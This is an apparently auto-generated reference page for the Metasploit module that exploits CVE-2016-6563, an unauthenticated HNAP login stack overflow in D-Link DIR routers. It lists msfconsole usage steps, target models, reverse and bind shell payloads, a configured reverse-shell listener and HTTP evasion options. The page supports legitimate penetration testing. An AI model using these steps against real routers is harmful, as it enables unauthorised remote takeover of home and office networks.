Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow - Metasploit
This page contains detailed information about how to use the exploit/linux/http/dlink_hnap_login_bof metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow
Module: exploit/linux/http/dlink_hnap_login_bof
Source code: modules/exploits/linux/http/dlink_hnap_login_bof.rb
Disclosure date: 2016-11-07
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Linux
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2016-6563
Several Dlink routers contain a pre-authentication stack buffer overflow vulnerability, which is exposed on the LAN interface on port 80. This vulnerability affects the HNAP SOAP protocol, which accepts arbitrarily long strings into certain XML parameters and then copies them into the stack. This exploit has been tested on the real devices DIR-818LW and 868L (rev. B), and it was tested using emulation on the DIR-822, 823, 880, 885, 890 and 895. Others might be affected, and this vulnerability is present in both MIPS and ARM devices. The MIPS devices are powered by Lextra RLX processors, which are crippled MIPS cores lacking a few load and store instructions. Because of this the payloads have to be sent unencoded, which can cause them to fail, although the bind shell seems to work well. For the ARM devices, the inline reverse tcp seems to work best. Check the reference links to see the vulnerable firmware versions.
Module Ranking and Traits
Module Ranking:
- excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.
Basic Usage
msf > use exploit/linux/http/dlink_hnap_login_bof
msf exploit(dlink_hnap_login_bof) > exploit
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the linux/http/dlink_hnap_login_bof exploit module looks in the msfconsole:
msf6 > use exploit/linux/http/dlink_hnap_login_bof
[*] No payload configured, defaulting to linux/mipsbe/meterpreter/reverse_tcp
msf6 exploit(linux/http/dlink_hnap_login_bof) > show info
Name: Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow
Module: exploit/linux/http/dlink_hnap_login_bof
Platform: Linux
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2016-11-07
Provided by:
Pedro Ribeiro <[email protected]>
Available targets:
Id Name
-- ----
0 Dlink DIR-818 / 822 / 823 / 850 [MIPS]
1 Dlink DIR-868 (rev. B and C) / 880 / 885 / 890 / 895 [ARM]
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SHELL /bin/sh yes Don't change this
SHELLARG sh yes Don't change this
SLEEP 0.5 yes Seconds to sleep between requests (ARM only)
SRVHOST 0.0.0.0 yes IP address for the HTTP server (ARM only)
SRVPORT 3333 yes Port for the HTTP server (ARM only)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Avoid: 1 characters
Description:
Several Dlink routers contain a pre-authentication stack buffer
overflow vulnerability, which is exposed on the LAN interface on
port 80. This vulnerability affects the HNAP SOAP protocol, which
accepts arbitrarily long strings into certain XML parameters and
then copies them into the stack. This exploit has been tested on the
real devices DIR-818LW and 868L (rev. B), and it was tested using
emulation on the DIR-822, 823, 880, 885, 890 and 895. Others might
be affected, and this vulnerability is present in both MIPS and ARM
devices. The MIPS devices are powered by Lextra RLX processors,
which are crippled MIPS cores lacking a few load and store
instructions. Because of this the payloads have to be sent
unencoded, which can cause them to fail, although the bind shell
seems to work well. For the ARM devices, the inline reverse tcp
seems to work best. Check the reference links to see the vulnerable
firmware versions.
References:
https://nvd.nist.gov/vuln/detail/CVE-2016-6563
https://www.kb.cert.org/vuls/id/677427
https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt
https://seclists.org/fulldisclosure/2016/Nov/38
Module Options
This is a complete list of options available in the linux/http/dlink_hnap_login_bof exploit:
msf6 exploit(linux/http/dlink_hnap_login_bof) > show options
Module options (exploit/linux/http/dlink_hnap_login_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SHELL /bin/sh yes Don't change this
SHELLARG sh yes Don't change this
SLEEP 0.5 yes Seconds to sleep between requests (ARM only)
SRVHOST 0.0.0.0 yes IP address for the HTTP server (ARM only)
SRVPORT 3333 yes Port for the HTTP server (ARM only)
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload options (linux/mipsbe/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.204.3 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Dlink DIR-818 / 822 / 823 / 850 [MIPS]
Advanced Options
Here is a complete list of advanced options supported by the linux/http/dlink_hnap_login_bof exploit:
msf6 exploit(linux/http/dlink_hnap_login_bof) > show advanced
Module advanced options (exploit/linux/http/dlink_hnap_login_bof):
Name Current Setting Required Description
---- --------------- -------- -----------
ContextInformationFile no The information file that contains context information
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
DisablePayloadHandler false no Disable the handler code for the selected payload
EXE::Custom no Use custom exe instead of automatically generating a payload exe
EXE::EICAR false no Generate an EICAR file instead of regular payload exe
EXE::FallBack false no Use the default template in case the specified one is missing
EXE::Inject false no Set to preserve the original EXE function
EXE::OldMethod false no Set to use the substitution EXE generation method.
EXE::Path no The directory in which to look for the executable template
EXE::Template no The executable template file name.
EnableContextEncoding false no Use transient context when encoding payloads
FileDropperDelay no Delay in seconds before attempting cleanup
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
ListenerComm no The specific communication channel to use for this service
MSI::Custom no Use custom msi instead of automatically generating a payload msi
MSI::EICAR false no Generate an EICAR file instead of regular payload msi
MSI::Path no The directory in which to look for the msi template
MSI::Template no The msi template file name
MSI::UAC false no Create an MSI with a UAC prompt (elevation to SYSTEM if accepted)
SSLCipher no String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
SSLCompression false no Enable SSL/TLS-level compression
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
SendRobots false no Return a robots.txt file if asked for one
URIHOST no Host to use in URI (useful for tunnels)
URIPORT no Port to use in URI (useful for tunnels)
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
WfsDelay 10 no Additional delay in seconds to wait for a session
Payload advanced options (linux/mipsbe/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
AppendExit false no Append a stub that executes the exit(0) system call
AutoLoadStdapi true yes Automatically load the Stdapi extension
AutoRunScript no A script to run automatically on session creation.
AutoSystemInfo true yes Automatically capture system information on initialization.
AutoUnhookProcess false yes Automatically load the unhook extension and unhook the process
AutoVerifySessionTimeout 30 no Timeout period to wait for session validation to occur, in seconds
EnableStageEncoding false no Encode the second stage payload
EnableUnicodeEncoding false yes Automatically encode UTF-8 strings as hexadecimal
HandlerSSLCert no Path to a SSL certificate in unified PEM format, ignored for HTTP transports
InitialAutoRunScript no An initial script to run on session creation (before AutoRunScript)
MeterpreterDebugLevel 0 yes Set debug level for meterpreter 0-3 (Default output is strerr)
PayloadProcessCommandLine no The displayed command line that will be used by the payload
PayloadUUIDName no A human-friendly name to reference this unique payload (requires tracking)
PayloadUUIDRaw no A hex string representing the raw 8-byte PUID value for the UUID
PayloadUUIDSeed no A string to use when generating the payload UUID (deterministic)
PayloadUUIDTracking false yes Whether or not to automatically register generated UUIDs
PingbackRetries 0 yes How many additional successful pingbacks
PingbackSleep 30 yes Time (in seconds) to sleep between pingbacks
PrependChrootBreak false no Prepend a stub that will break out of a chroot (includes setreuid to root)
PrependFork false no Prepend a stub that starts the payload in its own process via fork
PrependSetgid false no Prepend a stub that executes the setgid(0) system call
PrependSetregid false no Prepend a stub that executes the setregid(0, 0) system call
PrependSetresgid false no Prepend a stub that executes the setresgid(0, 0, 0) system call
PrependSetresuid false no Prepend a stub that executes the setresuid(0, 0, 0) system call
PrependSetreuid false no Prepend a stub that executes the setreuid(0, 0) system call
PrependSetuid false no Prepend a stub that executes the setuid(0) system call
RemoteMeterpreterDebugFile no Redirect Debug Info to a Log File
ReverseAllowProxy false yes Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
ReverseListenerBindAddress no The specific IP address to bind to on the local system
ReverseListenerBindPort no The port to bind to on the local system if different from LPORT
ReverseListenerComm no The specific communication channel to use for this listener
ReverseListenerThreaded false yes Handle every connection in a new thread (experimental)
SessionCommunicationTimeout 300 no The number of seconds of no activity before this session should be killed
SessionExpirationTimeout 604800 no The number of seconds before this session should be forcibly shut down
SessionRetryTotal 3600 no Number of seconds try reconnecting for on network failure
SessionRetryWait 10 no Number of seconds to wait between reconnect attempts
StageEncoder no Encoder to use if EnableStageEncoding is set
StageEncoderSaveRegisters no Additional registers to preserve in the staged payload if EnableStageEncoding is set
StageEncodingFallback true no Fallback to no encoding if the selected StageEncoder is not compatible
StagerRetryCount 10 no The number of times the stager should retry if the first connect fails
StagerRetryWait 5 no Number of seconds to wait for the stager between reconnect attempts
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Exploit Targets
Here is a list of targets (platforms and systems) which the linux/http/dlink_hnap_login_bof module can exploit:
msf6 exploit(linux/http/dlink_hnap_login_bof) > show targets
Exploit targets:
Id Name
-- ----
0 Dlink DIR-818 / 822 / 823 / 850 [MIPS]
1 Dlink DIR-868 (rev. B and C) / 880 / 885 / 890 / 895 [ARM]
Compatible Payloads
This is a list of possible payloads which can be delivered and executed on the target system using the linux/http/dlink_hnap_login_bof exploit:
msf6 exploit(linux/http/dlink_hnap_login_bof) > show payloads
Compatible Payloads
===================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 payload/generic/custom normal No Custom Payload
1 payload/generic/shell_bind_tcp normal No Generic Command Shell, Bind TCP Inline
2 payload/generic/shell_reverse_tcp normal No Generic Command Shell, Reverse TCP Inline
3 payload/linux/mipsbe/exec normal No Linux Execute Command
4 payload/linux/mipsbe/meterpreter/reverse_tcp normal No Linux Meterpreter, Reverse TCP Stager
5 payload/linux/mipsbe/meterpreter_reverse_http normal No Linux Meterpreter, Reverse HTTP Inline
6 payload/linux/mipsbe/meterpreter_reverse_https normal No Linux Meterpreter, Reverse HTTPS Inline
7 payload/linux/mipsbe/meterpreter_reverse_tcp normal No Linux Meterpreter, Reverse TCP Inline
8 payload/linux/mipsbe/reboot normal No Linux Reboot
9 payload/linux/mipsbe/shell/reverse_tcp normal No Linux Command Shell, Reverse TCP Stager
10 payload/linux/mipsbe/shell_bind_tcp normal No Linux Command Shell, Bind TCP Inline
11 payload/linux/mipsbe/shell_reverse_tcp normal No Linux Command Shell, Reverse TCP Inline
Evasion Options
Here is the full list of possible evasion options supported by the linux/http/dlink_hnap_login_bof exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(linux/http/dlink_hnap_login_bof) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::chunked false no Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
HTTP::compression none no Enable compression of HTTP responses via content encoding (Accepted: none, gzip, deflate)
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::junk_headers false no Enable insertion of random junk HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::no_cache false no Disallow the browser to cache HTTP content
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::server_name Apache yes Configures the Server header of all outgoing replies
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
TCP::max_send_size 0 no Maximum tcp segment size. (0 = disable)
TCP::send_delay 0 no Delays inserted before every send. (0 = disable)
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Failed to connect to the router
Here is a relevant code snippet related to the "<PEER> - Failed to connect to the router" error message:
225: 'ctype' => 'text/xml',
226: 'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' },
227: 'data' => body
228: })
229: rescue ::Rex::ConnectionError
230: fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router")
231: end
232: end
233:
234: # Handle incoming requests from the server
235: def on_request_uri(cli, request)
<PEER> - A request came in, but the payload wasn't ready yet!
Here is a relevant code snippet related to the "<PEER> - A request came in, but the payload wasn't ready yet!" error message:
233:
234: # Handle incoming requests from the server
235: def on_request_uri(cli, request)
236: #print_status("on_request_uri called: #{request.inspect}")
237: if (not @pl)
238: print_error("#{peer} - A request came in, but the payload wasn't ready yet!")
239: return
240: end
241: print_status("#{peer} - Sending the payload to the device...")
242: @elf_sent = true
243: send_response(cli, @pl)
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #10649 Merged Pull Request: Fix http://seclists.org links to https://
- #8279 Merged Pull Request: move mettle payloads to meterpreter, add reverse_http/s stageless
- #7543 Merged Pull Request: Create exploit for CVE-2016-6563 / Dlink DIR HNAP Login bof
References
- CVE-2016-6563
- VU#677427
- https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt
- https://seclists.org/fulldisclosure/2016/Nov/38
See Also
Check also the following modules related to this module:
- exploit/linux/http/dlink_authentication_cgi_bof
- exploit/linux/http/dlink_command_php_exec_noauth
- exploit/linux/http/dlink_dcs_930l_authenticated_remote_command_execution
- exploit/linux/http/dlink_dcs931l_upload
- exploit/linux/http/dlink_diagnostic_exec_noauth
- exploit/linux/http/dlink_dir300_exec_telnet
- exploit/linux/http/dlink_dir605l_captcha_bof
- exploit/linux/http/dlink_dir615_up_exec
- exploit/linux/http/dlink_dir850l_unauth_exec
- exploit/linux/http/dlink_dsl2750b_exec_noauth
- exploit/linux/http/dlink_dspw110_cookie_noauth_exec
- exploit/linux/http/dlink_dspw215_info_cgi_bof
- exploit/linux/http/dlink_dwl_2600_command_injection
- exploit/linux/http/dlink_hedwig_cgi_bof
- exploit/linux/http/dlink_hnap_bof
- exploit/linux/http/dlink_hnap_header_exec_noauth
- exploit/linux/http/dlink_upnp_exec_noauth
- exploit/linux/upnp/dlink_dir859_exec_ssdpcgi
- exploit/linux/upnp/dlink_dir859_subscribe_exec
- exploit/linux/upnp/dlink_upnp_msearch_exec
- auxiliary/admin/http/dlink_dir_300_600_exec_noauth
- auxiliary/admin/http/dlink_dir_645_password_extractor
- auxiliary/admin/http/dlink_dsl320b_password_extractor
- auxiliary/admin/vxworks/dlink_i2eye_autoanswer
- auxiliary/scanner/http/dlink_dir_300_615_http_login
- auxiliary/scanner/http/dlink_dir_615h_http_login
- auxiliary/scanner/http/dlink_dir_session_cgi_http_login
- auxiliary/scanner/http/dlink_user_agent_backdoor
- auxiliary/sqli/dlink/dlink_central_wifimanager_sqli
- exploit/windows/http/dlink_central_wifimanager_rce
- exploit/windows/tftp/dlink_long_filename
- exploit/dialup/multi/login/manyargs
Authors
- Pedro Ribeiro <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
